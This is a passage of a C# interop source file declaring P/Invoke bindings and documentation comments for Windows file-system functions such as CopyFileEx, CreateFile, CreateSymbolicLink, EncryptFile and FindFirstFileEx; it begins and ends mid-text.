succeeds, the return value is nonzero.</para>\n      ///   <para>If the function fails, the return value is zero. To get extended error information, call GetLastError.</para>\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"CopyFileExW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool CopyFileEx([MarshalAs(UnmanagedType.LPWStr)] string lpExistingFileName, [MarshalAs(UnmanagedType.LPWStr)] string lpNewFileName, NativeCopyMoveProgressRoutine lpProgressRoutine, IntPtr lpData, [MarshalAs(UnmanagedType.Bool)] out bool pbCancel, CopyOptions dwCopyFlags);\n\n      /// <summary>\n      ///   Copies an existing file to a new file as a transacted operation, notifying the application of its progress through a callback\n      ///   function.\n      /// </summary>\n      /// <remarks>\n      ///   <para>This function fails with ERROR_ACCESS_DENIED if the destination file already exists and has the FILE_ATTRIBUTE_HIDDEN or\n      ///   FILE_ATTRIBUTE_READONLY attribute set.</para>\n      ///   <para>This function preserves extended attributes, OLE structured storage, NTFS file system alternate data streams, security\n      ///   resource attributes, and file attributes.</para>\n      ///   <para>Windows 7, Windows Server 2008 R2, Windows Server 2008, Windows Vista, Windows Server 2003, and Windows XP:\n      ///   Security resource attributes (ATTRIBUTE_SECURITY_INFORMATION) for the existing file are not copied to the new file until\n      ///   Windows 8 and Windows Server 2012.</para>\n      ///   <para>Minimum supported client: Windows Vista [desktop apps only]</para>\n      ///   <para>Minimum supported server: Windows Server 2008 [desktop apps only]</para>\n      /// </remarks>\n      /// <returns>\n      ///   <para>If the function succeeds, the return value is nonzero.</para>\n      ///   <para>If the function fails, the return value is zero. To get extended error information, call GetLastError.</para>\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"CopyFileTransactedW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool CopyFileTransacted([MarshalAs(UnmanagedType.LPWStr)] string lpExistingFileName, [MarshalAs(UnmanagedType.LPWStr)] string lpNewFileName, NativeCopyMoveProgressRoutine lpProgressRoutine, IntPtr lpData, [MarshalAs(UnmanagedType.Bool)] out bool pbCancel, CopyOptions dwCopyFlags, SafeHandle hTransaction);\n\n      /// <summary>\n      ///   Creates or opens a file or I/O device. The most commonly used I/O devices are as follows: file, file stream, directory, physical\n      ///   disk, volume, console buffer, tape drive, communications resource, mailslot, and pipe.\n      /// </summary>\n      /// <remarks>Minimum supported client: Windows XP.</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003.</remarks>\n      /// <returns>\n      ///   If the function succeeds, the return value is an open handle to the specified file, device, named pipe, or mail slot. If the\n      ///   function fails, the return value is Win32Errors.ERROR_INVALID_HANDLE. To get extended error information, call GetLastError.\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"CreateFileW\"), SuppressUnmanagedCodeSecurity]\n      internal static extern SafeFileHandle CreateFile([MarshalAs(UnmanagedType.LPWStr)] string lpFileName, [MarshalAs(UnmanagedType.U4)] FileSystemRights dwDesiredAccess, [MarshalAs(UnmanagedType.U4)] FileShare dwShareMode, [MarshalAs(UnmanagedType.LPStruct)] Security.NativeMethods.SecurityAttributes lpSecurityAttributes, [MarshalAs(UnmanagedType.U4)] FileMode dwCreationDisposition, [MarshalAs(UnmanagedType.U4)] ExtendedFileAttributes dwFlagsAndAttributes, IntPtr hTemplateFile);\n\n      /// <summary>\n      ///   Creates or opens a file or I/O device. The most commonly used I/O devices are as follows: file, file stream, directory, physical\n      ///   disk, volume, console buffer, tape drive, communications resource, mailslot, and pipe.\n      /// </summary>\n      /// <remarks>Minimum supported client: Windows Vista [desktop apps only].</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2008 [desktop apps only].</remarks>\n      /// <returns>\n      ///   If the function succeeds, the return value is an open handle to the specified file, device, named pipe, or mail slot. If the\n      ///   function fails, the return value is Win32Errors.ERROR_INVALID_HANDLE\". To get extended error information, call GetLastError.\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"CreateFileTransactedW\"), SuppressUnmanagedCodeSecurity]\n      internal static extern SafeFileHandle CreateFileTransacted([MarshalAs(UnmanagedType.LPWStr)] string lpFileName, [MarshalAs(UnmanagedType.U4)] FileSystemRights dwDesiredAccess, [MarshalAs(UnmanagedType.U4)] FileShare dwShareMode, [MarshalAs(UnmanagedType.LPStruct)] Security.NativeMethods.SecurityAttributes lpSecurityAttributes, [MarshalAs(UnmanagedType.U4)] FileMode dwCreationDisposition, [MarshalAs(UnmanagedType.U4)] ExtendedFileAttributes dwFlagsAndAttributes, IntPtr hTemplateFile, SafeHandle hTransaction, IntPtr pusMiniVersion, IntPtr pExtendedParameter);\n\n      /// <summary>Creates or opens a named or unnamed file mapping object for a specified file.</summary>\n      /// <remarks>Minimum supported client: Windows XP.</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003.</remarks>\n      /// <returns>\n      ///   If the function succeeds, the return value is a handle to the newly created file mapping object. If the function fails, the return\n      ///   value is <c>null</c>.\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = false, CharSet = CharSet.Unicode, EntryPoint = \"CreateFileMappingW\"), SuppressUnmanagedCodeSecurity]\n      internal static extern SafeFileHandle CreateFileMapping(SafeFileHandle hFile, SafeHandle lpSecurityAttributes, [MarshalAs(UnmanagedType.U4)] uint flProtect, [MarshalAs(UnmanagedType.U4)] uint dwMaximumSizeHigh, [MarshalAs(UnmanagedType.U4)] uint dwMaximumSizeLow, [MarshalAs(UnmanagedType.LPWStr)] string lpName);\n\n      /// <summary>Establishes a hard link (similar to CMD command: \"MKLINK /H\") between an existing file and a new file. This function is only supported on the NTFS file system, and only for files, not directories.</summary>\n      /// <remarks>Minimum supported client: Windows XP [desktop apps only].</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003 [desktop apps only].</remarks>\n      /// <returns>\n      ///   If the function succeeds, the return value is nonzero. If the function fails, the return value is zero (0). To get extended error\n      ///   information, call GetLastError.\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"CreateHardLinkW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool CreateHardLink([MarshalAs(UnmanagedType.LPWStr)] string lpFileName, [MarshalAs(UnmanagedType.LPWStr)] string lpExistingFileName, IntPtr lpSecurityAttributes);\n\n      /// <summary>Establishes a hard link (similar to CMD command: \"MKLINK /H\") between an existing file and a new file as a transacted operation. This function is only supported on the NTFS file system, and only for files, not directories.</summary>\n      /// <remarks>Minimum supported client: Windows Vista [desktop apps only].</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2008 [desktop apps only].</remarks>\n      /// <returns>\n      ///   If the function succeeds, the return value is nonzero. If the function fails, the return value is zero (0). To get extended error\n      ///   information, call GetLastError.\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"CreateHardLinkTransactedW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool CreateHardLinkTransacted([MarshalAs(UnmanagedType.LPWStr)] string lpFileName, [MarshalAs(UnmanagedType.LPWStr)] string lpExistingFileName, IntPtr lpSecurityAttributes, SafeHandle hTransaction);\n\n      /// <summary>Creates a symbolic link (similar to CMD command: \"MKLINK /D\").</summary>\n      /// <remarks>Minimum supported client: Windows Vista [desktop apps only].</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2008 [desktop apps only].</remarks>\n      /// <remarks>\n      /// The unmanaged prototype contains a return directive because the CreateSymbolicLink API function returns BOOLEAN, a one-byte data type.\n      /// The default marshaling for bool is four bytes (to allow seamless integration with BOOL return values).\n      /// If you were to use the default marshaling for BOOLEAN values, it's likely that you will get erroneous results.\n      /// The return directive forces PInvoke to marshal just one byte of the return value.\n      /// Source: http://www.informit.com/guides/content.aspx?g=dotnet&amp;seqNum=762&amp;ns=16196\n      /// </remarks>\n      /// <returns>\n      ///   If the function succeeds, the return value is nonzero. If the function fails, the return value is zero (0). To get extended error\n      ///   information, call GetLastError.\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"CreateSymbolicLinkW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.I1)]\n      internal static extern bool CreateSymbolicLink([MarshalAs(UnmanagedType.LPWStr)] string lpSymlinkFileName, [MarshalAs(UnmanagedType.LPWStr)] string lpTargetFileName, [MarshalAs(UnmanagedType.U4)] SymbolicLinkTarget dwFlags);\n\n      /// <summary>Creates a symbolic link (similar to CMD command: \"MKLINK /D\") as a transacted operation.</summary>\n      /// <remarks>Minimum supported client: Windows Vista [desktop apps only].</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2008 [desktop apps only].</remarks>\n      /// <remarks>\n      /// The unmanaged prototype contains a return directive because the CreateSymbolicLink API function returns BOOLEAN, a one-byte data type.\n      /// The default marshaling for bool is four bytes (to allow seamless integration with BOOL return values).\n      /// If you were to use the default marshaling for BOOLEAN values, it's likely that you will get erroneous results.\n      /// The return directive forces PInvoke to marshal just one byte of the return value.\n      /// Source: http://www.informit.com/guides/content.aspx?g=dotnet&amp;seqNum=762&amp;ns=16196\n      /// </remarks>\n      /// <returns>\n      ///   If the function succeeds, the return value is nonzero. If the function fails, the return value is zero (0). To get extended error\n      ///   information, call GetLastError.\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"CreateSymbolicLinkTransactedW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.I1)]\n      internal static extern bool CreateSymbolicLinkTransacted([MarshalAs(UnmanagedType.LPWStr)] string lpSymlinkFileName, [MarshalAs(UnmanagedType.LPWStr)] string lpTargetFileName, [MarshalAs(UnmanagedType.U4)] SymbolicLinkTarget dwFlags, SafeHandle hTransaction);\n\n      /// <summary>Decrypts an encrypted file or directory.</summary>\n      /// <remarks>\n      ///   The DecryptFile function requires exclusive access to the file being decrypted, and will fail if another process is using the file.\n      ///   If the file is not encrypted, DecryptFile simply returns a nonzero value, which indicates success. If lpFileName specifies a read-\n      ///   only file, the function fails and GetLastError returns ERROR_FILE_READ_ONLY. If lpFileName specifies a directory that contains a\n      ///   read-only file, the functions succeeds but the directory is not decrypted.\n      /// </remarks>\n      /// <remarks>Minimum supported client: Windows XP.</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003.</remarks>\n      /// <returns>\n      ///   If the function succeeds, the return value is nonzero. If the function fails, the return value is zero. To get extended error\n      ///   information, call GetLastError.\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"advapi32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"DecryptFileW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool DecryptFile([MarshalAs(UnmanagedType.LPWStr)] string lpFileName, [MarshalAs(UnmanagedType.U4)] uint dwReserved);\n\n      /// <summary>Deletes an existing file.</summary>\n      /// <remarks>\n      ///   If an application attempts to delete a file that does not exist, the DeleteFile function fails with ERROR_FILE_NOT_FOUND.\n      /// </remarks>\n      /// <remarks>If the file is a read-only file, the function fails with ERROR_ACCESS_DENIED.</remarks>\n      /// <remarks>\n      ///   If the path points to a symbolic link, the symbolic link is deleted, not the target. To delete a target, you must call CreateFile\n      ///   and specify FILE_FLAG_DELETE_ON_CLOSE.\n      /// </remarks>\n      /// <remarks>Minimum supported client: Windows XP [desktop apps | Windows Store apps].</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003 [desktop apps | Windows Store apps].</remarks>\n      /// <returns>\n      ///   If the function succeeds, the return value is nonzero. If the function fails, the return value is zero (0). To get extended error\n      ///   information, call GetLastError.\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"DeleteFileW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool DeleteFile([MarshalAs(UnmanagedType.LPWStr)] string lpFileName);\n\n      /// <summary>Deletes an existing file as a transacted operation.</summary>\n      /// <remarks>Minimum supported client: Windows Vista [desktop apps only].</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2008 [desktop apps only].</remarks>\n      /// <returns>\n      ///   If the function succeeds, the return value is nonzero. If the function fails, the return value is zero (0). To get extended error\n      ///   information, call GetLastError.\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"DeleteFileTransactedW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool DeleteFileTransacted([MarshalAs(UnmanagedType.LPWStr)] string lpFileName, SafeHandle hTransaction);\n\n      /// <summary>\n      ///   Encrypts a file or directory. All data streams in a file are encrypted. All new files created in an encrypted directory are\n      ///   encrypted.\n      /// </summary>\n      /// <remarks>\n      ///   The EncryptFile function requires exclusive access to the file being encrypted, and will fail if another process is using the file.\n      ///   If the file is already encrypted, EncryptFile simply returns a nonzero value, which indicates success. If the file is compressed,\n      ///   EncryptFile will decompress the file before encrypting it. If lpFileName specifies a read-only file, the function fails and\n      ///   GetLastError returns ERROR_FILE_READ_ONLY. If lpFileName specifies a directory that contains a read-only file, the functions\n      ///   succeeds but the directory is not encrypted.\n      /// </remarks>\n      /// <remarks>Minimum supported client: Windows XP.</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003.</remarks>\n      /// <returns>\n      ///   If the function succeeds, the return value is nonzero. If the function fails, the return value is zero. To get extended error\n      ///   information, call GetLastError.\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"advapi32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"EncryptFileW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool EncryptFile([MarshalAs(UnmanagedType.LPWStr)] string lpFileName);\n\n      /// <summary>\n      ///   Disables or enables encryption of the specified directory and the files in it. It does not affect encryption of subdirectories\n      ///   below the indicated directory.\n      /// </summary>\n      /// <remarks>\n      ///   EncryptionDisable() disables encryption of directories and files. It does not affect the visibility of files with the\n      ///   FILE_ATTRIBUTE_SYSTEM attribute set. This method will create/change the file \"Desktop.ini\" and wil set Encryption value:\n      ///   \"Disable=0|1\".\n      /// </remarks>\n      /// <remarks>Minimum supported client: Windows XP Professional [desktop apps only].</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003 [desktop apps only].</remarks>\n      /// <returns>\n      ///   If the function succeeds, the return value is nonzero. If the function fails, the return value is zero. To get extended error\n      ///   information, call GetLastError.\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\"), SuppressUnmanagedCodeSecurity]\n      [DllImport(\"advapi32.dll\", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool EncryptionDisable([MarshalAs(UnmanagedType.LPWStr)] string dirPath, [MarshalAs(UnmanagedType.Bool)] bool disable);\n\n      /// <summary>Retrieves the encryption status of the specified file.</summary>\n      /// <remarks>Minimum supported client: Windows XP Professional [desktop apps only].</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003 [desktop apps only].</remarks>\n      /// <returns>\n      ///   If the function succeeds, the return value is nonzero. If the function fails, the return value is zero. To get extended error\n      ///   information, call GetLastError.\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"advapi32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"FileEncryptionStatusW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool FileEncryptionStatus([MarshalAs(UnmanagedType.LPWStr)] string lpFileName, out FileEncryptionStatus lpStatus);\n\n      /// <summary>\n      ///   Closes a file search handle opened by the FindFirstFile, FindFirstFileEx, FindFirstFileNameW, FindFirstFileNameTransactedW,\n      ///   FindFirstFileTransacted, FindFirstStreamTransactedW, or FindFirstStreamW functions.\n      /// </summary>\n      /// <remarks>Minimum supported client: Windows XP [desktop apps | Windows Store apps].</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003 [desktop apps | Windows Store apps].</remarks>\n      /// <returns>\n      ///   If the function succeeds, the return value is nonzero. If the function fails, the return value is zero. To get extended error\n      ///   information, call GetLastError.\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\"), SuppressUnmanagedCodeSecurity]\n      [DllImport(\"kernel32.dll\", SetLastError = false, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool FindClose(IntPtr hFindFile);\n\n      /// <summary>Searches a directory for a file or subdirectory with a name and attributes that match those specified.</summary>\n      /// <remarks>A trailing backslash is not allowed and will be removed.</remarks>\n      /// <remarks>Minimum supported client: Windows XP [desktop apps | Windows Store apps].</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003 [desktop apps | Windows Store apps].</remarks>\n      /// <returns>\n      ///   If the function succeeds, the return value is a search handle used in a subsequent call to FindNextFile or FindClose, and the\n      ///   lpFindFileData parameter contains information about the first file or directory found. If the function fails or fails to locate\n      ///   files from the search string in the lpFileName parameter, the return value is INVALID_HANDLE_VALUE and the contents of\n      ///   lpFindFileData are indeterminate. To get extended error information, call the GetLastError function.\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"FindFirstFileExW\"), SuppressUnmanagedCodeSecurity]\n      internal static extern SafeFindFileHandle FindFirstFileEx([MarshalAs(UnmanagedType.LPWStr)] string lpFileName, FINDEX_INFO_LEVELS fInfoLevelId, out WIN32_FIND_DATA lpFindFileData, FINDEX_SEARCH_OPS fSearchOp, IntPtr lpSearchFilter, FIND_FIRST_EX_FLAGS dwAdditionalFlags);\n\n      /// <summary>\n      ///   Searches a directory for a file or subdirectory with a name that matches a specific name as a transacted operation.\n      /// </summary>\n      /// <remarks>A trailing backslash is not allowed and will be removed.</remarks>\n      /// <remarks>Minimum supported client: Windows Vista [desktop apps only].</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2008 [desktop apps only].</remarks>\n      /// <returns>\n      ///   If the function succeeds, the return value is a search handle used in a subsequent call to FindNextFile or FindClose, and the\n      ///   lpFindFileData parameter contains information about the first file or directory found. If the function fails or fails to locate\n      ///   files from the search string in the lpFileName parameter, the return value is INVALID_HANDLE_VALUE and the contents of\n      ///   lpFindFileData are indeterminate. To get extended error information, call the GetLastError function.\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"FindFirstFileTransactedW\"), SuppressUnmanagedCodeSecurity]\n      internal static extern SafeFindFileHandle FindFirstFileTransacted([MarshalAs(UnmanagedType.LPWStr)] string lpFileName, FINDEX_INFO_LEVELS fInfoLevelId, out WIN32_FIND_DATA lpFindFileData, FINDEX_SEARCH_OPS fSearchOp, IntPtr lpSearchFilter, FIND_FIRST_EX_FLAGS dwAdditionalFlags, SafeHandle hTransaction);\n\n      /// <summary>\n      ///   Creates an enumeration of all the hard links to the specified file. The FindFirstFileNameW function returns a handle to the\n      ///   enumeration that can be used on subsequent calls to the FindNextFileNameW function.\n      /// </summary>\n      /// <remarks>Minimum supported client: Windows Vista [desktop apps only].</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2008 [desktop apps only].</remarks>\n      /// <returns>\n      ///   If the function succeeds, the return value is a search handle that can be used with the FindNextFileNameW function or closed with\n      ///   the FindClose function. If the function fails, the return value is INVALID_HANDLE_VALUE (0xffffffff). To get extended error\n      ///   information, call the GetLastError function.\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      internal static extern SafeFindFileHandle FindFirstFileNameW([MarshalAs(UnmanagedType.LPWStr)] string lpFileName, [MarshalAs(UnmanagedType.U4)] uint dwFlags, [MarshalAs(UnmanagedType.U4)] out uint stringLength, StringBuilder linkName);\n\n      /// <summary>\n      ///   Creates an enumeration of all the hard links to the specified file as a transacted operation. The function returns a handle to the\n      ///   enumeration that can be used on subsequent calls to the FindNextFileNameW function.\n      /// </summary>\n      /// <remarks>Minimum supported client: Windows Vista [desktop apps only].</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2008 [desktop apps only].</remarks>\n      /// <returns>\n      ///   If the function succeeds, the return value is a search handle that can be used with the FindNextFileNameW function or closed with\n      ///   the FindClose function. If the function fails, the return value is INVALID_HANDLE_VALUE (0xffffffff). To get extended error\n      ///   information, call the GetLastError function.\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      internal static extern SafeFindFileHandle FindFirstFileNameTransactedW([MarshalAs(UnmanagedType.LPWStr)] string lpFileName, [MarshalAs(UnmanagedType.U4)] uint dwFlags, [MarshalAs(UnmanagedType.U4)] out uint stringLength, StringBuilder linkName, SafeHandle hTransaction);\n\n      /// <summary>\n      ///   Continues a file search from a previous call to the FindFirstFile, FindFirstFileEx, or FindFirstFileTransacted functions.\n      /// </summary>\n      /// <remarks>Minimum supported client: Windows XP [desktop apps | Windows Store apps].</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003 [desktop apps | Windows Store apps].</remarks>\n      /// <returns>\n      ///   If the function succeeds, the return value is nonzero and the lpFindFileData parameter contains information about the next file or\n      ///   directory found. If the function fails, the return value is zero and the contents of lpFindFileData are indeterminate. To get\n      ///   extended error information, call the GetLastError function. If the function fails because no more matching files can be found, the\n      ///   GetLastError function returns ERROR_NO_MORE_FILES.\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"FindNextFileW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool FindNextFile(SafeFindFileHandle hFindFile, out WIN32_FIND_DATA lpFindFileData);\n\n      /// <summary>\n      ///   Continues enumerating the hard links to a file using the handle returned by a successful call to the FindFirstFileName function.\n      /// </summary>\n      /// <remarks>Minimum supported client: Windows Vista [desktop apps only].</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2008 [desktop apps only].</remarks>\n      /// <returns>\n      ///   If the function succeeds, the return value is nonzero. If the function fails, the return value is zero (0). To get extended error\n      ///   information, call GetLastError. If no matching files can be found, the GetLastError function returns ERROR_HANDLE_EOF.\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool FindNextFileNameW(SafeFindFileHandle hFindStream, [MarshalAs(UnmanagedType.U4)] out uint stringLength, StringBuilder linkName);\n\n      /// <summary>Flushes the buffers of a specified file and causes all buffered data to be written to a file.</summary>\n      /// <remarks>Minimum supported client: Windows XP [desktop apps | Windows Store apps].</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003 [desktop apps | Windows Store apps].</remarks>\n      /// <returns>\n      ///   If the function succeeds, the return value is nonzero. If the function fails, the return value is zero. To get extended error\n      ///   information, call GetLastError.\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool FlushFileBuffers(SafeFileHandle hFile);\n\n      /// <summary>Retrieves the actual number of bytes of disk storage used to store a specified file.</summary>\n      /// <remarks>Minimum supported client: Windows XP [desktop apps only].</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003 [desktop apps only].</remarks>\n      /// <returns>\n      ///   If the function succeeds, the return value is the low-order DWORD of the actual number of bytes of disk storage used to store the\n      ///   specified file, and if lpFileSizeHigh is non-NULL, the function puts the high-order DWORD of that actual value into the DWORD\n      ///   pointed to by that parameter. This is the compressed file size for compressed files, the actual file size for noncompressed files.\n      ///   If the function fails, and lpFileSizeHigh is NULL, the return value is INVALID_FILE_SIZE. To get extended error information, call\n      ///   GetLastError. If the return value is INVALID_FILE_SIZE and lpFileSizeHigh is non-NULL, an application must call GetLastError to\n      ///   determine whether the function has succeeded (value is NO_ERROR) or failed (value is other than NO_ERROR).\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", 